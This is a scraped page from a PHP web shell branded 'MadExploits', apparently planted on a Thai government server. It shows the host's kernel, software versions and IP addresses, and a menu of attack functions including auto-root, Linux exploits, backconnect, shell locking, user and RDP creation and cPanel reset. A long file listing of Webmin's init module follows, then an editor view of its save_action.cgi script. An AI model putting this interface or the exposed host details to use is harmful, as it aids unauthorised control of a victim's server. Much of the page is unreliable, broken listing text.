Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
libexec /
webmin /
init /
[ HOME SHELL ]
Name
Size
Permission
Action
help
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
CHANGELOG
1.8
KB
-rw-r--r--
acl_security.pl
1.45
KB
-rwxr-xr-x
atboot.pl
4.93
KB
-rwxr-xr-x
backup_config.pl
1.08
KB
-rwxr-xr-x
cgi_args.pl
668
B
-rwxr-xr-x
change_rl.cgi
486
B
-rwxr-xr-x
config-aix
274
B
-rw-r--r--
config-cobalt-linux-2.2-4.0
282
B
-rw-r--r--
config-cobalt-linux-5.0-ALL
297
B
-rw-r--r--
config-coherent-linux
317
B
-rw-r--r--
config-corel-linux
219
B
-rw-r--r--
config-debian-linux
235
B
-rw-r--r--
config-freebsd
169
B
-rw-r--r--
config-freebsd-5.0-ALL
266
B
-rw-r--r--
config-generic-linux
278
B
-rw-r--r--
config-gentoo-linux
206
B
-rw-r--r--
config-hpux
290
B
-rw-r--r--
config-irix
226
B
-rw-r--r--
config-macos
282
B
-rw-r--r--
config-mandrake-linux
317
B
-rw-r--r--
config-msc-linux
312
B
-rw-r--r--
config-netbsd
121
B
-rw-r--r--
config-open-linux
283
B
-rw-r--r--
config-openbsd
121
B
-rw-r--r--
config-openmamba-linux
317
B
-rw-r--r--
config-openserver
248
B
-rw-r--r--
config-osf1
284
B
-rw-r--r--
config-pardus-linux
278
B
-rw-r--r--
config-redhat-linux
317
B
-rw-r--r--
config-slackware-linux
144
B
-rw-r--r--
config-solaris
235
B
-rw-r--r--
config-solaris-10-ALL
265
B
-rw-r--r--
config-suse-linux
227
B
-rw-r--r--
config-suse-linux-7.1-ALL
276
B
-rw-r--r--
config-syno-linux
304
B
-rw-r--r--
config-trustix-linux
302
B
-rw-r--r--
config-turbo-linux
297
B
-rw-r--r--
config-united-linux
237
B
-rw-r--r--
config-unixware
218
B
-rw-r--r--
config-windows
130
B
-rw-r--r--
config.info
1.55
KB
-rw-r--r--
config.info.ca
1.79
KB
-rw-r--r--
config.info.ca.UTF-8
1.82
KB
-rw-r--r--
config.info.cz
1.41
KB
-rw-r--r--
config.info.cz.UTF-8
1.53
KB
-rw-r--r--
config.info.de
1.78
KB
-rw-r--r--
config.info.de.UTF-8
1.78
KB
-rw-r--r--
config.info.es
1.63
KB
-rw-r--r--
config.info.es.UTF-8
1.63
KB
-rw-r--r--
config.info.eu
1.62
KB
-rw-r--r--
config.info.eu.UTF-8
1.62
KB
-rw-r--r--
config.info.fa
2.11
KB
-rw-r--r--
config.info.fr
1.39
KB
-rw-r--r--
config.info.fr.UTF-8
1.39
KB
-rw-r--r--
config.info.hu
0
B
-rw-r--r--
config.info.ja_JP.UTF-8
1.95
KB
-rw-r--r--
config.info.ja_JP.euc
1.5
KB
-rw-r--r--
config.info.ko_KR.UTF-8
1.48
KB
-rw-r--r--
config.info.ko_KR.euc
1.19
KB
-rw-r--r--
config.info.nl
1.52
KB
-rw-r--r--
config.info.nl.UTF-8
1.52
KB
-rw-r--r--
config.info.no
1.76
KB
-rw-r--r--
config.info.no.UTF-8
1.76
KB
-rw-r--r--
config.info.pl
1.45
KB
-rw-r--r--
config.info.pl.UTF-8
1.49
KB
-rw-r--r--
config.info.ru.UTF-8
2.51
KB
-rw-r--r--
config.info.ru_RU
1.58
KB
-rw-r--r--
config.info.ru_RU.UTF-8
2.51
KB
-rw-r--r--
config.info.ru_SU
1.58
KB
-rw-r--r--
config.info.sk
0
B
-rw-r--r--
config.info.sv
713
B
-rw-r--r--
config.info.sv.UTF-8
737
B
-rw-r--r--
config.info.tr
684
B
-rw-r--r--
config.info.uk_UA
1.15
KB
-rw-r--r--
config.info.uk_UA.UTF-8
1.8
KB
-rw-r--r--
config.info.zh_CN
448
B
-rw-r--r--
config.info.zh_CN.UTF-8
554
B
-rw-r--r--
config.info.zh_TW.Big5
722
B
-rw-r--r--
config.info.zh_TW.UTF-8
924
B
-rw-r--r--
create-boot.pl
424
B
-rwxr-xr-x
defaultacl
40
B
-rw-r--r--
delboot.pl
684
B
-rwxr-xr-x
delete-boot.pl
379
B
-rwxr-xr-x
delete_action.cgi
907
B
-rwxr-xr-x
edit_action.cgi
5.55
KB
-rwxr-xr-x
edit_hostconfig.cgi
6.19
KB
-rwxr-xr-x
edit_launchd.cgi
2.05
KB
-rwxr-xr-x
edit_rc.cgi
1.84
KB
-rwxr-xr-x
edit_systemd.cgi
2.26
KB
-rwxr-xr-x
edit_upstart.cgi
2.3
KB
-rwxr-xr-x
fix_action.cgi
600
B
-rwxr-xr-x
hostconfig-lib.pl
8.52
KB
-rwxr-xr-x
index.cgi
13.42
KB
-rwxr-xr-x
init-lib.pl
62.93
KB
-rwxr-xr-x
log_parser.pl
1.37
KB
-rwxr-xr-x
mass_launchd.cgi
1.87
KB
-rwxr-xr-x
mass_rcs.cgi
1.47
KB
-rwxr-xr-x
mass_start_stop.cgi
2.8
KB
-rwxr-xr-x
mass_systemd.cgi
1.87
KB
-rwxr-xr-x
mass_upstarts.cgi
1.87
KB
-rwxr-xr-x
modifyhostconfig.cgi
1.06
KB
-rwxr-xr-x
module.info
296
B
-rw-r--r--
module.info.ar
190
B
-rw-r--r--
module.info.ca
132
B
-rw-r--r--
module.info.ca.UTF-8
144
B
-rw-r--r--
module.info.cz
35
B
-rw-r--r--
module.info.cz.UTF-8
46
B
-rw-r--r--
module.info.de
133
B
-rw-r--r--
module.info.de.UTF-8
145
B
-rw-r--r--
module.info.es
26
B
-rw-r--r--
module.info.es.UTF-8
32
B
-rw-r--r--
module.info.eu
37
B
-rw-r--r--
module.info.eu.UTF-8
43
B
-rw-r--r--
module.info.fr
40
B
-rw-r--r--
module.info.fr.UTF-8
48
B
-rw-r--r--
module.info.hu
37
B
-rw-r--r--
module.info.hu.UTF-8
49
B
-rw-r--r--
module.info.ja_JP.UTF-8
54
B
-rw-r--r--
module.info.ja_JP.euc
40
B
-rw-r--r--
module.info.ko_KR.UTF-8
36
B
-rw-r--r--
module.info.ko_KR.euc
29
B
-rw-r--r--
module.info.ms_MY
132
B
-rw-r--r--
module.info.ms_MY.UTF-8
144
B
-rw-r--r--
module.info.nl
28
B
-rw-r--r--
module.info.nl.UTF-8
34
B
-rw-r--r--
module.info.no
31
B
-rw-r--r--
module.info.no.UTF-8
37
B
-rw-r--r--
module.info.pl
39
B
-rw-r--r--
module.info.pl.UTF-8
45
B
-rw-r--r--
module.info.pt
27
B
-rw-r--r--
module.info.pt.UTF-8
33
B
-rw-r--r--
module.info.ru.UTF-8
83
B
-rw-r--r--
module.info.ru_RU
48
B
-rw-r--r--
module.info.ru_RU.UTF-8
86
B
-rw-r--r--
module.info.ru_SU
48
B
-rw-r--r--
module.info.sk
25
B
-rw-r--r--
module.info.sk.UTF-8
32
B
-rw-r--r--
module.info.sv
30
B
-rw-r--r--
module.info.sv.UTF-8
37
B
-rw-r--r--
module.info.tr
26
B
-rw-r--r--
module.info.zh_CN
22
B
-rw-r--r--
module.info.zh_TW.Big5
27
B
-rw-r--r--
rbac-mapping
80
B
-rw-r--r--
reboot.cgi
583
B
-rwxr-xr-x
save_action.cgi
6.94
KB
-rwxr-xr-x
save_hostconfig_action.cgi
4.63
KB
-rwxr-xr-x
save_launchd.cgi
1.72
KB
-rwxr-xr-x
save_local.cgi
706
B
-rwxr-xr-x
save_rc.cgi
2.48
KB
-rwxr-xr-x
save_services.cgi
1.44
KB
-rwxr-xr-x
save_startscript.cgi
1.9
KB
-rwxr-xr-x
save_systemd.cgi
2.03
KB
-rwxr-xr-x
save_upstart.cgi
2.15
KB
-rwxr-xr-x
shutdown.cgi
607
B
-rwxr-xr-x
start_stop.cgi
889
B
-rwxr-xr-x
uninstall.pl
1.8
KB
-rwxr-xr-x
win32.pl
1.93
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : save_action.cgi
#!/usr/bin/perl # save_action.cgi # Save or create an action require './init-lib.pl'; &error_setup($text{'save_err'}); &ReadParseMime(); # Redirect to other CGIs for delete / start / stop if ($in{'delete'} && $in{'old'}) { &redirect("delete_action.cgi?type=".&urlize($in{'type'}). "&action=".&urlize($in{'old'}). "&runlevel=".&urlize($in{'runlevel'}). "&startstop=".&urlize($in{'startstop'}). "&number=".&urlize($in{'number'})); } elsif ($in{'old'}) { foreach $a (@action_buttons) { if ($in{$a}) { &redirect("start_stop.cgi?file=".&urlize($in{'file'}). "&name=".&urlize($in{'old'})."&$a=1". "&back=".&urlize($in{'back'})); exit; } } } $access{'bootup'} == 1 || &error($text{'save_ecannot'}); # Check inputs $in{'extra'} || $in{name} =~ /^[A-z0-9\_\-\.]+$/ || &error($text{'save_ename'}); $dig = $config{'order_digits'}; foreach $rl (&list_runlevels()) { # If no priority was given for start/stop, make it 99 if ($in{"S$rl"}) { if (!$in{"pri_S$rl"}) { $in{"pri_S$rl"} = "9" x $dig; } else { $in{"pri_S$rl"} = sprintf "%${dig}.${dig}d", $in{"pri_S$rl"}; } } if ($in{"K$rl"}) { if (!$in{"pri_K$rl"}) { $in{"pri_K$rl"} = "9" x $dig; } else { $in{"pri_K$rl"} = sprintf "%${dig}.${dig}d", $in{"pri_K$rl"}; } } } if ($in{'old'} && $in{'type'} == 0) { # Changing a 'sane' action local $dd = $config{'daemons_dir'}; $in{data} =~ s/\r//g; if ($in{old} ne $in{name}) { # Need to rename the action.. if (-r &action_filename($in{name})) { &error(&text('save_ealready', $in{name})); } &rename_action($in{old}, $in{name}); if ($dd) { # Need to rename the caldera daemons file too &rename_logged("$dd/$in{old}", "$dd/$in{name}"); &lock_file("$dd/$in{'name'}"); &read_env_file("$dd/$in{name}", \%daemon); $daemon{'IDENT'} = $in{'name'} if ($daemon{'IDENT'} eq $in{'old'}); &write_env_file("$dd/$in{name}", \%daemon); } } &lock_file("$dd/$in{'name'}") if ($dd); $file = &action_filename($in{name}); &lock_file($file); foreach (&action_levels('S', $in{name})) { /^(\S+)\s+(\S+)\s+(\S+)$/; $slvl{$1} = $2; } foreach (&action_levels('K', $in{name})) { /^(\S+)\s+(\S+)\s+(\S+)$/; $klvl{$1} = $2; } if ($config{'expert'}) { # Update all runlevels foreach $rl (&list_runlevels()) { if ($in{"S$rl"} && !$slvl{$rl}) { &add_rl_action($in{name}, $rl, 'S', $in{"pri_S$rl"}); } elsif (!$in{"S$rl"} && $slvl{$rl}) { &delete_rl_action($in{name}, $rl, 'S'); } elsif ($in{"pri_S$rl"} != $slvl{$rl}) { &reorder_rl_action($in{name}, $rl, 'S', $in{"pri_S$rl"}); } if ($in{"K$rl"} && !$klvl{$rl}) { &add_rl_action($in{name}, $rl, 'K', $in{"pri_K$rl"}); } elsif (!$in{"K$rl"} && $klvl{$rl}) { &delete_rl_action($in{name}, $rl, 'K'); } elsif ($in{"pri_K$rl"} != $klvl{$rl}) { &reorder_rl_action($in{name}, $rl, 'K',$in{"pri_K$rl"}); } } if (defined($in{'boot'}) && $dd) { # Update onboot flag in daemons file &read_env_file("$dd/$in{'name'}", \%daemon); $daemon{'ONBOOT'} = $in{'boot'} ? 'yes' : 'no'; &write_env_file("$dd/$in{'name'}", \%daemon); } } else { # Just change whether it gets started or not if ($in{'boot'} && !$in{'oldboot'}) { &enable_at_boot($in{'name'}); } elsif (!$in{'boot'} && $in{'oldboot'}) { &disable_at_boot($in{'name'}); } } &open_tempfile(ACTION, ">$file"); &print_tempfile(ACTION, $in{data}); &close_tempfile(ACTION); &unlock_file($file); &unlock_file("$dd/$in{'name'}") if ($dd); delete($in{'data'}); &webmin_log("modify", "action", $in{'name'}, \%in); } elsif ($in{'old'} && $in{'type'} == 1) { # Changing an odd action $in{data} =~ s/\r//g; $file = &runlevel_filename($in{runlevel}, $in{startstop}, $in{number}, $in{name}); &lock_file($file); if ($in{old} ne $in{name}) { if (-r &action_filename($in{name})) { &error("An action called $in{name} already exists"); } &rename_rl_action($in{runlevel}, $in{startstop}, $in{number}, $in{old}, $in{name}); } &open_tempfile(ACTION, ">$file"); &print_tempfile(ACTION, $in{data}); &close_tempfile(ACTION); &unlock_file($file); delete($in{'data'}); &webmin_log("modify", "action", $in{'name'}, \%in); } else { # Creating a new action, and add it to multiple runlevels if (-r &action_filename($in{name})) { &error(&text('save_ealready', $in{name})); } @start = &get_start_runlevels(); &lock_file(&action_filename($in{name})); $in{desc} =~ s/\r//g; $in{start} =~ s/\r//g; $in{stop} =~ s/\r//g; $data = "#!/bin/sh\n"; if ($config{'chkconfig'}) { # Redhat-style description: and chkconfig: lines $desc = "description:"; foreach (split(/\n/, $in{desc})) { $data .= "# $desc $_\n"; $desc = " " x length($desc); } $startorder = "9" x $dig; $stoporder = "0" x $dig; foreach $rl (&list_runlevels()) { $startorder = $in{"pri_S$rl"} if ($in{"S$rl"}); $stoporder = $in{"pri_K$rl"} if ($in{"K$rl"}); } $data .= "# chkconfig: $config{'chkconfig'} ". "$startorder $stoporder\n"; } elsif ($config{'init_info'}) { # Suse-style init info section $data .= "### BEGIN INIT INFO\n". "# Provides: $in{'name'}\n". "# Required-Start: \$network\n". "# Required-Stop: \$network\n". "# Default-Start: ".join(" ", @start)."\n". "# Description: $in{'desc'}\n". "### END INIT INFO\n"; } else { foreach (split(/\n/, $in{'desc'})) { $data .= "# $_\n"; } } $data .= "\ncase \"\$1\" in\n"; if ($config{'start_stop_msg'}) { $data .= "'start_msg')\n"; $data .= "\techo \"$in{'start_msg'}\"\n"; $data .= "\t;;\n"; $data .= "'stop_msg')\n"; $data .= "\techo \"$in{'stop_msg'}\"\n"; $data .= "\t;;\n"; } $subsys = $config{'subsys'}; $data .= "'start')\n"; foreach (split(/\n/, $in{start})) { $data .= "\t$_\n"; } if ($subsys) { $data .= "\ttouch $subsys/$in{'name'}\n"; } $data .= "\t;;\n"; $data .= "'stop')\n"; foreach (split(/\n/, $in{stop})) { $data .= "\t$_\n"; } if ($subsys) { $data .= "\trm -f $subsys/$in{'name'}\n"; } $data .= "\t;;\n"; $data .= "*)\n"; if ($config{'start_stop_msg'}) { $data .= "\techo \"Usage: \$0 { start | stop | start_msg | stop_msg }\"\n"; } else { $data .= "\techo \"Usage: \$0 { start | stop }\"\n"; } $data .= "\t;;\n"; $data .= "esac\n"; $data .= "exit 0\n"; $file = &action_filename($in{name}); &open_tempfile(ACTION, ">$file"); &print_tempfile(ACTION, $data); &close_tempfile(ACTION); chmod(0755, $file); if ($config{'expert'}) { # Make links from runlevels foreach $rl (&list_runlevels()) { if ($in{"S$rl"}) { &add_rl_action($in{name}, $rl, 'S', $in{"pri_S$rl"}); } if ($in{"K$rl"}) { &add_rl_action($in{name}, $rl, 'K', $in{"pri_K$rl"}); } } } else { # Just make one runlevel link if ($in{'boot'}) { &enable_at_boot($in{'name'}); } } &unlock_file(&action_filename($in{name})); delete($in{'data'}); &webmin_log("create", "action", $in{'name'}, \%in); } &redirect("");
Close